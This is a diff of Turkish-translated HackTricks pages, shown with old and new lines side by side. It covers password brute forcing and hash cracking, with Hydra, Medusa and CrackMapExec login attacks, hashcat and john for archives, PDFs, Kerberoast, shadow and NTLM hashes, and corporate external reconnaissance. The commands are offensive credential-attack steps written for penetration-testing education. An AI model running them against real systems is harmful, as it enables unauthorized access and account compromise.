Brute force attacks against VNC servers involve attempting to log in by systematically trying all possible passwords until the correct one is found. This can be achieved using tools like Hydra or Medusa. It is important to note that brute force attacks can be time-consuming and resource-intensive, especially if the password is complex. It is recommended to use strong, unique passwords and implement account lockout policies to mitigate the risk of a successful brute force attack. Brute force attacks against VNC servers involve attempting to log in by systematically trying all possible passwords until the correct one is found. This can be achieved using tools like Hydra or Medusa. It is important to note that brute force attacks can be time-consuming and resource-intensive, especially if the password is complex. It is recommended to use strong, unique passwords and implement additional security measures such as IP whitelisting or two-factor authentication to protect against brute force attacks.
```bash ```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
@ -552,14 +571,14 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
``` ```
### Winrm ### Winrm
Winrm, Windows Remote Management'ın kısaltmasıdır. Winrm, Windows işletim sistemlerinde uzaktan yönetim için kullanılan bir protokoldür. Winrm, uzaktan komut istemcileri ve sunucular arasında güvenli iletişimi sağlamak için kullanılır. Winrm, Windows Remote Management, Windows işletim sistemi üzerinde uzaktan yönetim sağlayan bir protokoldür. Winrm, Windows sunucuları ve istemcileri arasında güvenli iletişim kurmak için kullanılır. Winrm, PowerShell gibi araçlarla uzaktan komut çalıştırmak için yaygın olarak kullanılır.
```bash ```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
``` ```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -580,7 +599,7 @@ Bugün Erişim Alın:
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Hash'ı kaba kuvvet uygulamadan önce bunu kontrol edin. Hash'ı kaba kuvvet uygulamadan önce bunları kontrol edin.
### ZIP ### ZIP
```bash ```bash
@ -600,8 +619,8 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
``` ```
#### Bilinen düz metin zip saldırısı #### Bilinen düz metin zip saldırısı
Şifreli bir zip dosyasının içinde bulunan bir dosyanın **düz metnini** (veya düz metnin bir kısmını) **bilmelisiniz**. Şifreli bir zip içinde bulunan dosyaların **dosya adlarını ve dosyaların boyutunu** kontrol edebilirsiniz: **`7z l encrypted.zip`**\ Şifreli bir zip dosyasının içinde bulunan bir dosyanın **düz metnini (veya düz metnin bir kısmını)** bilmelisiniz. Şifreli bir zip içinde bulunan dosyaların **dosya adlarını ve dosyaların boyutunu** kontrol edebilirsiniz: **`7z l encrypted.zip`**\
İndir [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sürümler sayfasından. İndirin [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sürümler sayfasından.
```bash ```bash
# You need to create a zip file containing only the file that is inside the encrypted zip # You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file zip plaintext.zip plaintext.file
@ -615,9 +634,7 @@ unzip unlocked.zip #User new_pwd as password
``` ```
### 7z ### 7z
#### Brute Force Brute-force attacks against encrypted 7z files can be performed using tools like **7z2hashcat** or **hashcat**. These tools can help you crack the password of a 7z file by trying all possible combinations until the correct one is found. This method can be time-consuming depending on the complexity of the password.
Brute force attacks can be used to crack the password of a 7z archive. Tools like 7z2hashcat can convert the 7z hash to a format that hashcat can understand. Hashcat can then be used to perform a brute force attack to crack the password.
```bash ```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
``` ```
@ -630,7 +647,7 @@ apt-get install libcompress-raw-lzma-perl
``` ```
### PDF ### PDF
Brute-force attacks are commonly used to crack passwords from PDF files. Tools like `pdfcrack` and `pdf2john` can be used to extract the hash from a PDF file, which can then be cracked using a password list or by brute-forcing the password. It is important to note that brute-forcing passwords can be time-consuming and resource-intensive, especially for complex passwords. Brute-force attacks are commonly used to crack passwords from PDF files. Tools like `pdfcrack` and `pdf2john` can be used to extract the hash from a PDF file, which can then be cracked using a password list or by brute-forcing the password. It is important to use strong and complex passwords to protect PDF files from brute-force attacks.
```bash ```bash
apt-get install pdfcrack apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@ -671,7 +688,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt hash
``` ```
### Keberoasting ### Keberoasting
Keberoasting, bir hedefin Active Directory ortamında bulunan hesaplarının hash'lerini elde etmek için kullanılan bir saldırı tekniğidir. Bu saldırıda, saldırganlar genellikle SPN'leri (Service Principal Names) olan hesapları hedeflerler ve ardından bu hesapların hash'lerini elde etmek için brute force saldırıları gerçekleştirirler. Bu yöntem, zayıf veya kolayca tahmin edilebilen parolalar kullanan hesaplar için etkili olabilir. Keberoasting, bir hedefin Active Directory ortamında bulunan hesaplarının hash'lerini elde etmek için kullanılan bir saldırı tekniğidir. Bu saldırıda, saldırganlar genellikle SPN'leri (Service Principal Names) olan hesapları hedeflerler ve ardından bu hesapların hash'lerini elde etmek için brute force saldırıları gerçekleştirirler. Bu yöntem, zayıf şifreler kullanan hesapların hash'lerini elde etmek için etkili bir yol olabilir.
```bash ```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
@ -714,13 +731,13 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
### DPAPI Anahtar ### DPAPI Anahtarını Kırmak
[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) adresini kullanın ve ardından john'u çalıştırın [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) adresini kullanın ve ardından john'u çalıştırın
### Open Office Şifre Korumalı Sütun ### Open Office Şifre Korumalı Sütun
Eğer bir xlsx dosyasında bir şifre ile korunan bir sütun varsa, şu adımları izleyebilirsiniz: Eğer bir xlsx dosyasında bir sütun bir şifre ile korunuyorsa, şifreyi kaldırabilirsiniz:
* **Google Drive'a yükleyin** ve şifre otomatik olarak kaldırılacaktır * **Google Drive'a yükleyin** ve şifre otomatik olarak kaldırılacaktır
* **Manuel olarak** kaldırmak için: * **Manuel olarak** kaldırmak için:
@ -739,10 +756,10 @@ zip -r file.xls .
# From https://github.com/crackpkcs12/crackpkcs12 # From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
``` ```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Edinin: Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -782,7 +799,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
* **Kelime listesi saldırısı** (`-a 0`) kurallarla * **Kelime listesi saldırısı** (`-a 0`) kurallarla
**Hashcat**, zaten **kurallar içeren bir klasörle** birlikte gelir ancak [**burada başka ilginç kurallar bulabilirsiniz**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). **Hashcat**, zaten **kurallar içeren bir klasörle birlikte gelir** ancak [**burada başka ilginç kurallar bulabilirsiniz**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
``` ```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
``` ```
@ -844,29 +861,29 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```bash ```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM" hashcat --example-hashes | grep -B1 -A2 "NTLM"
``` ```
## Brute Forcing ## Brute Forcing Linux Hashes
### Introduction ### Introduction
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm as the one used in Linux to create the password hashes. These generated hashes are then compared with the target hash from the `/etc/shadow` file to find a match. When it comes to cracking Linux hashes from the `/etc/shadow` file, brute force attacks are a common method used by hackers. Brute forcing involves systematically checking all possible passwords until the correct one is found.
### Tools
There are various tools available for performing brute force attacks on Linux hashes. Some popular tools include John the Ripper, Hashcat, and Hydra. These tools support different algorithms and techniques for cracking passwords, making them versatile options for password cracking.
### Methodology ### Methodology
1. **Obtain the Hash**: First, you need to obtain the hash of the password you want to crack from the `/etc/shadow` file on the target Linux system. 1. **Obtain the Hash**: First, you need to obtain the hash from the `/etc/shadow` file. This can be done by gaining access to the file through various means.
2. **Select a Tool**: Choose a suitable password cracking tool based on the hash algorithm used in the target system. 2. **Choose a Tool**: Select a suitable password cracking tool that supports Linux hash cracking. Tools like John the Ripper, Hashcat, and Hydra are popular choices.
3. **Generate Password List**: Create a list of potential passwords to be used in the brute force attack. This list can be generated based on common passwords, dictionary words, or custom rules. 3. **Generate Wordlist**: Create a wordlist containing potential passwords. This can be a list of commonly used passwords, dictionary words, or a custom list based on the target's information.
4. **Perform Brute Force Attack**: Use the selected tool to systematically hash the passwords from the generated list and compare them with the target hash. If a match is found, the password has been successfully cracked. 4. **Initiate Brute Force Attack**: Use the chosen tool to start the brute force attack by providing the hash and the wordlist. The tool will systematically try each password until a match is found.
5. **Optimize**: Adjust the attack parameters such as password length, character sets, and rules to optimize the brute force attack and increase the chances of success.
6. **Crack the Hash**: Once the tool finds a matching password, the Linux hash is cracked, and the plaintext password is revealed.
### Conclusion ### Conclusion
Brute forcing Linux hashes from the `/etc/shadow` file can be a time-consuming process, especially for complex passwords. However, with the right tools and techniques, it is possible to crack passwords and gain unauthorized access to a Linux system. It is essential for system administrators to use strong, unique passwords and implement additional security measures to protect against brute force attacks. Brute forcing Linux hashes from the `/etc/shadow` file can be a time-consuming process, especially for complex passwords. However, with the right tools and techniques, hackers can successfully crack the hashes and gain unauthorized access to Linux systems.
``` ```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems 500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
@ -889,32 +906,40 @@ There are several tools available for performing brute force attacks on Windows
## Methodology ## Methodology
To crack Windows hashes using brute force, follow these general steps: The general methodology for cracking Windows hashes using brute force involves the following steps:
1. Obtain the Windows hashes from the target system. 1. **Capture Hashes**: Obtain the LM and NTLM hashes from the Windows system.
2. Use a password cracking tool such as John the Ripper or Hashcat to perform a brute force attack on the hashes. 2. **Select Tool**: Choose a suitable password cracking tool such as John the Ripper or Hashcat.
3. Analyze the results to identify the cracked passwords. 3. **Generate Wordlist**: Create a wordlist containing possible passwords to try.
4. **Perform Brute Force Attack**: Use the selected tool to systematically try all passwords from the wordlist until the correct one is found.
5. **Crack Hashes**: Once the correct password is found, use it to crack the LM and NTLM hashes.
## Conclusion By following this methodology, an attacker can successfully crack Windows hashes using brute force.
Brute force attacks can be an effective way to crack Windows hashes and recover user passwords. However, they can be time-consuming and resource-intensive, so it's important to use them judiciously and consider other password cracking techniques as well.
``` ```
3000 | LM | Operating-Systems 3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems 1000 | NTLM | Operating-Systems
``` ```
# Kaba Kuvvet Saldırısı # Brute Force
Kaba kuvvet saldırısı, şifrelenmiş verileri çözmek için kullanılan bir yöntemdir. Genellikle, şifrelenmiş bir metin veya hash değeri üzerinde tüm olası kombinasyonları deneyerek doğru şifreyi bulmaya çalışır. Bu saldırı türü, yaygın uygulama hash'lerini kırmak için sıkça kullanılır. ## Brute Forcing Common Hashes
## Yöntemler Brute forcing is a common technique used to crack hashes. It involves trying all possible combinations of characters until the correct one is found. This can be a time-consuming process, but it is often effective for cracking common application hashes.
Kaba kuvvet saldırıları genellikle şu yöntemlerle gerçekleştirilir: ### Tools
- **Sözlük Saldırısı:** Önceden belirlenmiş bir kelime listesini kullanarak şifreleri denemek. There are several tools available for brute forcing hashes, such as Hashcat, John the Ripper, and Hydra. These tools allow you to automate the process of trying different combinations of characters to crack the hash.
- **Rastgele Saldırı:** Tüm olası kombinasyonları deneyerek şifreyi bulmaya çalışmak.
- **Hibrit Saldırı:** Sözlük saldırısı ve rastgele saldırının bir kombinasyonu.
Kaba kuvvet saldırıları genellikle zaman alıcı olabilir, ancak etkili olabilirler. Güçlü ve karmaşık şifreler kullanarak bu tür saldırılardan korunmak önemlidir. ### Wordlists
Using wordlists can also be effective for brute forcing hashes. Wordlists contain commonly used passwords and can be used to quickly crack hashes without having to try every possible combination of characters.
### Custom Scripts
In some cases, you may need to write custom scripts to brute force hashes, especially if you are dealing with non-standard hash types or formats. Writing custom scripts allows you to tailor the brute forcing process to the specific hash you are trying to crack.
### Conclusion
Brute forcing is a powerful technique for cracking common application hashes. By using tools, wordlists, and custom scripts, you can automate and customize the brute forcing process to effectively crack hashes and gain access to protected information.
``` ```
900 | MD4 | Raw Hash 900 | MD4 | Raw Hash
0 | MD5 | Raw Hash 0 | MD5 | Raw Hash
@ -926,22 +951,22 @@ Kaba kuvvet saldırıları genellikle zaman alıcı olabilir, ancak etkili olabi
``` ```
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahramana kadar AWS hackleme konusunda bilgi edinin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**]'i (https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme becerilerini öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_). Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -24,35 +24,35 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
> Dolayısıyla, bir şirkete ait her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz. > Dolayısıyla, bir şirkete ait her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz.
Bu aşamanın amacı, **ana şirkete ait olan tüm şirketleri** elde etmek ve ardından bu şirketlerin tüm **varlıklarını** elde etmektir. Bunun için şunları yapacağız: Bu aşamanın amacı, öncelikle **ana şirkete ait olan şirketleri** elde etmek ve ardından bu şirketlerin **varlıklarını** elde etmektir. Bunun için şunları yapacağız:
1. Ana şirketin satın almalarını bulmak, bu bize kapsamda olan şirketleri verecektir. 1. Ana şirketin satın almalarını bulmak, bu bize kapsamda olan şirketleri verecektir.
2. Her şirketin ASN'sini bulmak (varsa), bu bize her şirketin sahip olduğu IP aralıklarını verecektir. 2. Her şirketin **ASN'sini** bulmak (varsa), bu bize her şirketin sahip olduğu IP aralıklarını verecektir.
3. Diğer girişleri (kuruluş adları, alan adları...) aramak için ters whois aramalarını kullanmak (bu rekürsif olarak yapılabilir) 3. Diğer girişleri (kuruluş adları, alan adları...) aramak için ters whois aramalarını kullanmak (bu rekürsif olarak yapılabilir).
4. Shodan `org` ve `ssl` filtreleri gibi diğer teknikleri kullanarak diğer varlıkları aramak (`ssl` hilesi rekürsif olarak yapılabilir). 4. Shodan `org` ve `ssl` filtreleri gibi diğer teknikleri kullanarak diğer varlıkları aramak (`ssl` hilesi rekürsif olarak yapılabilir).
### **Satın Almalar** ### **Satın Almalar**
Öncelikle, **ana şirkete ait olan diğer şirketleri** bilmemiz gerekiyor.\ Öncelikle, **ana şirkete ait olan diğer şirketleri** bilmemiz gerekiyor.\
Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) sitesini ziyaret etmek, **ana şirketi aramak** ve "**satın almalar**"ı **tıklamak**. Burada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\ Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com)'e gidip **ana şirketi aramak** ve "**satın almalar**"ı **tıklamak**. Orada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\
Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır. Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır.
> Tamam, bu noktada kapsamda olan tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımızı anlayalım. > Tamam, bu noktada kapsamda olan tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımızı anlayalım.
### **ASN'ler** ### **ASN'ler**
Bir otomatik sistem numarası (**ASN**), bir **otonom sistem** (AS) tarafından **Internet Assigned Numbers Authority (IANA)** tarafından atanmış **benzersiz bir numaradır**.\ Bir **otonom sistem numarası (ASN)**, bir **otonom sistem** (AS) tarafından **Internet Assigned Numbers Authority (IANA)** tarafından atanmış **benzersiz bir numaradır**.\
Bir **AS**, dış ağlara erişim için belirgin bir şekilde tanımlanmış bir politikaya sahip **IP adresi bloklarından** oluşur ve tek bir kuruluş tarafından yönetilir ancak birkaç operatörden oluşabilir. Bir **AS**, dış ağlara erişim için belirgin bir şekilde tanımlanmış bir politikaya sahip **IP adresi bloklarından** oluşur ve tek bir kuruluş tarafından yönetilir ancak birkaç operatörden oluşabilir.
Şirketin **herhangi bir ASN'ye sahip olup olmadığını** bulmak, **IP aralıklarını** bulmak için ilginç olacaktır. Kapsam içindeki tüm **ana bilgisayarlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'lerdeki **alan adlarını** aramak ilginç olacaktır.\ Şirketin **herhangi bir ASN'ye sahip olup olmadığını** bulmak, **IP aralıklarını** bulmak için ilginç olacaktır. Kapsam içindeki tüm **ana bilgisayarlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'lerdeki **alan adlarını** aramak ilginç olacaktır.\
[**https://bgp.he.net/**](https://bgp.he.net) sitesinde şirket **adı**, **IP** veya **alan adı** ile arama yapabilirsiniz.\ [**https://bgp.he.net/**](https://bgp.he.net) adresinde şirket **adı**, **IP** veya **alan adı** ile arama yapabilirsiniz.\
**Şirketin bölgesine bağlı olarak bu bağlantılar daha fazla veri toplamak için yararlı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her durumda, tüm** yararlı bilgiler **(IP aralıkları ve Whois)** muhtemelen ilk bağlantıda zaten görünecektir. **Şirketin bölgesine bağlı olarak bu bağlantılar daha fazla veri toplamak için yararlı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her durumda, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünüyor.
```bash ```bash
#You can try "automate" this with amass, but it's not very recommended #You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla amass intel -org tesla
amass intel -asn 8911,50313,394161 amass intel -asn 8911,50313,394161
``` ```
Ayrıca, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'un** alt alan adı tespiti otomatik olarak taramanın sonunda ASN'leri toplar ve özetler. Ayrıca, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'un** alt alan adı tespiti otomatik olarak taramanın sonunda ASNs'leri toplar ve özetler.
```bash ```bash
bbot -t tesla.com -f subdomain-enum bbot -t tesla.com -f subdomain-enum
... ...
@ -74,9 +74,9 @@ Bir alanın IP'sini ve ASN'sini [http://ipv4info.com/](http://ipv4info.com) kull
### **Zaafiyet arayışı** ### **Zaafiyet arayışı**
Bu noktada **kapsamdaki tüm varlıkları bildiğimizden**, izin verildiyse tüm ana bilgisayarlarda bazı **zafiyet taraması** (Nessus, OpenVAS) başlatabilirsiniz.\ Bu noktada **kapsamdaki tüm varlıkları bildiğimizden**, izin verildiyse tüm ana bilgisayarlarda bir **zafiyet tarayıcısı** (Nessus, OpenVAS) başlatabilirsiniz.\
Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) başlatabilir veya shodan gibi hizmetleri kullanarak **açık portları bulabilir ve bulduklarınıza bağlı olarak** bu kitapta çalıştırılan çeşitli olası hizmetleri nasıl pentest edeceğinizi inceleyebilirsiniz.\ Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) başlatabilir veya shodan gibi hizmetleri kullanarak **açık portları bulabilir ve bulduklarınıza bağlı olarak** bu kitapta çalıştırılan çeşitli hizmetleri nasıl pentest edeceğinize bakabilirsiniz.\
